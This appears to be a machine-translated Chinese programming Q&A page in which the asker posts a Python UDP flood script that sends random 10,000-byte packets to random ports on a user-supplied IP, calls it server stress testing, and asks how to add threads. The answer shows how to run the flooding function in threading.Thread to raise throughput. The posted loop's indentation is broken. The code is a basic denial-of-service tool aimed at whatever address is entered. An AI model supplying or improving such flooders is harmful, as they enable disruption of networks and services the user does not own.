2012-07-09 152 views
1

我想创建一个python脚本来压力测试我的服务器。 因此,我创建了这个基本的UDP flooder,我想我的工作正常。在Python脚本中实现多线程

我的问题是我将如何去添加多线程呢? 我阅读了关于Python线程的手册,但不知道如何实际将 实现到我的脚本中。

import socket 
import random 

print "Target:", 
ipaddr = raw_input() 

sent = 1 
bytes = random._urandom(10000) 
port = 1 

while sent > 0: 
    print "Test Started On", ipaddr, "|", sent, "Packets Sent. Press Ctrl+C To Stop." 
    sent += 1 
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
s.sendto(bytes,(ipaddr,port)) 
port = random.randint(1, 65500) 

raw_input() 

回答

1

如果您提取您的应用程序的业务部分到像一个函数:

def do_the_flooding(): 
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
    s.sendto(bytes,(ipaddr,port)) 

然后你可以把它称为一个线程:

import threading 
t = threading.Thread(target=do_the_flooding) 
t.start()